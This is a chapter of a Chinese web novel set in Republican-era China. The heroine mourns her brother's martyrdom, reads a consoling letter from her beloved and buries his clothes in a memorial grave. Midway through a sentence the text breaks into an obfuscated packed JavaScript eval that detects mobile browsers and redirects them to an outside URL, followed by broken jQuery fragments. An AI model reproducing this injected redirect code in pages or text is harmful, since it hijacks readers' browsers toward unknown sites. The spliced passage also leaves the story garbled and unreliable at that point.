“你说的是真的？我哥真的…没了？”


    话一说完，她便身子发软，捂着心口往下倒。


    宋允成顾不得什么男女大防，慌忙将沈华年搀起来，让她坐在沙发上。


    之前做的一切都白费了。


    情绪起伏太大，沈华年耳边一阵嗡鸣，想哭，眼泪却堵在心口，怎么都掉不下来，只觉眼前发昏，难受得想吐。


    四周的场景在她眼中旋转，若不是坐在沙发上，她早就昏了过去。


    宋允成从未安慰过人，也不知如何去安慰女孩子，只能手足无措地愣在那儿.说着近乎皮毛的安慰话。


    她做出的更改像个同心的圆，不论在此期间如何转动，最终都会归向原点，同之前走的每一步一起形成完美的闭环。


    憋了好半晌，宋允成刚以为她缓过了劲来，欲商量后面的事，便看见沈华年的眼泪就如漫长退潮后忽然决堤的潮水，毫无任何征兆地漫过眼眶。


    言语在失去至亲面前太过苍白无力，此刻的她成了不会说话的哑巴。


    “不会的，他说好的会接我去北平，他怎么会死。不会的，他不会死的。”


    沈华年不停地摆手，想将心中的话说出来，却发现怎么也开不了口。


    所有未尽的告别和未说完的话语都成了利刃，朝沈华年的心脏直直扎去。


    宋允成一直亲拍她的后背为她顺气，她的胸膛如层叠山峦般起伏剧烈，大脑一片空白。


    “我哥他…什么时候走的。”


    约莫过了半刻钟，沈华年稍微冷静下来，抬着通红的眼眸问他。


    “他刚到上海那天。” 闻言，宋允成悄声回。


    简短的谈话后，是良久的沉默，四周的空气里弥漫着近乎诡异的静。


    上海。


    她原以为他在武昌继续待一段时间，没成想从南京一走，便去了最险的地方。


    事情发生得过于仓促，以至于沈华兴什么都没留下，便撒手去了另一边。


    “这事你打算告诉你父母吗。”冷静下来后，宋允成开始同她谈起正事。


    沈华年还未从情绪里抽离出来，听见这问题，眼眶泛红地答：“他们年纪都大了，肯定不能说。”


    这回答倒不令他意外，宋允成得此回复，未再作声。


    四月的空气里已带了些许燥意，沈华年哭得久了，额间开始渗出细密的汗珠。发丝被黏在她光洁的额头上，宣召着空气的闷热。


    窗外，云层被压到极低的位置，闷雷不止，仿佛下一刻，才停不久的雨便会接着下。


    这事也不宜多提，说得越多，她也伤心得越多，故他没再提这事，换了个话题继续聊着，转移她的注意力。


    “对了，景程他知晓这事后，立即想买票来见你…但任务太多他走不开，不过他写了信来，你可以看看。”


    方才她情绪不稳，就算是告诉她也于事无补，现下告诉她，能更好缓解她的情绪。


    “麻烦你了。”沈华年看着信封，努力从唇角挤出一抹笑。


    信封薄薄的，看不出里面塞了多少信纸，沈华年接过这信封，却觉得沉得不得了。


    既然一切都可能发生变故，这信上的内容也绝不可能按前世的来。


    “要不我叫小沅来陪陪你，你情绪不好，我怕你做傻事。”宋允成低头看了看表，才发现时间不早了，他到了该离开的时候，但沈华年这幅样子，他有些不放心。


    沈华年笑着说了声不用，温声道：“我要是死了，到了下面我哥他会骂我个狗血淋头的，况且我还有更重要的事情去做，我还不能死。”


    这世间，比死更珍贵的是生的勇气。


    如今这华夏满目疮痍，想寻死何其容易，在这节骨眼上她更要好好活着，带上沈华兴的那份。


    听她如此说，宋允成也不便多言，沈华年送他到楼下，随后才独自回屋。


    不多时，今天那场停了片刻的雨再度落下，将原本就未干透的地面再度打湿，就像此刻沈华年的处境。


    失去沈华兴带来的不是仲夏夜的疾风骤雨，而是缠绵如柳絮般的漫长潮湿，滴滴哒哒，在她心头留下亘古不变的痕迹。*


    沈华兴的尸首她见不到，也带不回来，只得在他心仪的地方替他立个衣冠冢。


    她想挑个艳阳天干这事。


    送走宋允成后屋里重归于静，沈华年坐在窗台边，手边是付书同的那封信。


    她将信拆开，发现一张不大的信纸上写满了密密麻麻的字。


    时间太紧，他又太忙，手边只有这一张像样的信纸，便将就着用下来。


    重活一世，付书同再也不是当年那个在感情之事上笨拙不堪的木头，经历的事让他具备了爱人的能力。


    她想知道的每一点，他都在信中提到了。


    这次的信不算太长，可信纸太小，上面密密匝匝地记录着宽慰与思念。


    【宛珍见字如晤，不知尹近来可安好。闻此噩耗，吾欲即刻前来南京陪尹，无奈要务缠身，便以此信聊以慰籍。


    数日前，为掩一批同志撤离，尹兄长自请断后，怎奈被捕，从容就义，死时从未后悔为国为民，实当勇字。吾闻人诉其就义前曾有遗言，言尹当于涕泣之余，亦乐牺牲自身之福利，为天下人谋永福也，勿悲。*


    近来繁忙，久未来信，心中多有挂念，不知尹近况如何，还望回信之时略略提及。


    江南多雨，四五月来更甚，出行谨记带伞，以免不时之需。天气时暖时热，需适当增减衣物，风寒感冒定及时医治，切忌拖延。】


    读到此处，沈华年心头一暖，虽因失去至亲笑不出声，但到底是心头的痛舒缓了几分。


    他还是这样，将她当个小孩子，总会无微不至地想到每一处细节，虽不在她身边，却与陪着她度过难关无异。


    沉默片刻，沈华年继续往下读。


    【吾近来无恙，尹无需过多挂念，只盼回信能于芒种前抵达，如此足矣。吾思未尽者尚有千万，奈纸短无以俱诉，只待会面之时再聊慰吾之思念


    辛酉四月廿八夜四鼓景程手书】


    读完时，沈华年眼睛发酸，不知是高兴，还是带着失去沈华兴的悲戚。


    她忽然觉得，这世间有他在，她就算有朝一日也重走死亡的结局，也是不怕的。


    思索片刻，她坐在斑驳的书桌前，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092041|176818||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    从抽屉里拿了张信纸，提笔也开始诉说许久未见的思念。


    只是今天这信，多了两滴从前从未有过的泪。


    她此刻就像是被打破的玻璃瓶，整颗心散成了一地的碎片，而他这符合时宜的来信，将她一点点拼起来，于无人在意的角落里独自珍惜。


    ……


    六月初，天气不错，沈华年挑了个大晴天，去城南的公墓里为沈华兴立衣冠冢。


    墓地的位置她前些日子便安排妥帖，现下过去只为完成这最后一件事。


    几个月前送沈华兴离开南京时，因他需轻装出行，便将过冬的厚衣物全留在了沈华年的住处，想着来年接她时再一并带走。


    她很清楚他喜好，便在去的途中买了他爱吃的点心和时令的花。


    雨后的太阳散着白光，汽车沿着公路向前行驶，在墓园前停下来。


    沈华年一身灰色旗袍，头发松松地挽在脑后，领口处别了朵黑色玫瑰花，整个人看上去素静不少。


    与她同行的还有张沅与宋允成。


    起初她本想独自来，可张沅得知这消息后软磨硬泡了好些时日，沈华年被磨得没了耐性，无奈答应，顺带叫上了宋允成。


    墓园寂静，除去脚步声与鸟鸣外再听不见别的声音，周围绿木参天，树叶被昨晚的雨冲刷得翠绿鲜亮，太阳光透过叶间的缝隙，被筛出大小不一的光斑。


    沈华兴墓的位置在园内的一个小角落里，几人沿着石板路往里走，不过片刻便到了地方。


    她抱着装了衣物的木盒子，放进穴里，随即叫师傅将穴填上，随后立碑。


    “你说你，倒是扔下我走了，担子全落我肩上。”一切准备好后，沈华年将新买的果子和糕点全放在他墓前，絮絮叨叨地道。


    这一葬，天人永隔。


    到现在她都觉得这事发生得不大真实，还以为有朝一日沈华兴会忽然出现在她眼前吓她一跳，随即笑着带她前往北平，去她心心念念的全聚德。


    可事实如此，再无更改可能。如今沈华年只能看着一抔黄土暗自神伤。


    张沅轻拍沈华年的后背，说了些安慰的话，可作用微乎其微。


    “我知道安慰的话很苍白……”张沅有些语无伦次，生怕稍不注意，会再次戳破沈华年本就脆弱的外壳。


    话未完，沈华年却淡然一笑：“他是为国牺牲的，死得其所，我虽伤心，但转念一想，也想得下来。”


    旁的话，她未再多说。


    也无人知晓她心里装着些什么。


    说不疼都是假的，人心肉长，再冷血的人也不可能毫无情绪。


    宋允成在旁默默陪着，没发话。


    他不是不安慰，是怕自己的嘴笨反会弄巧成拙，造成截然相反的效果。


    沈华年心口疼了好半晌，直至日暮时分从墓园回去时都未消散。


    ……


    夏季多雨，江南一到梅雨季便滴滴嗒嗒个不停，回去的当晚，一场初夏的雨便急急落下，将万物淋了个猝不及防。


    沈华年又做了个很长的梦。


    经年累月的窗户被微风吹得开开合合，半梦半醒间，极为荒唐的梦裹挟大脑。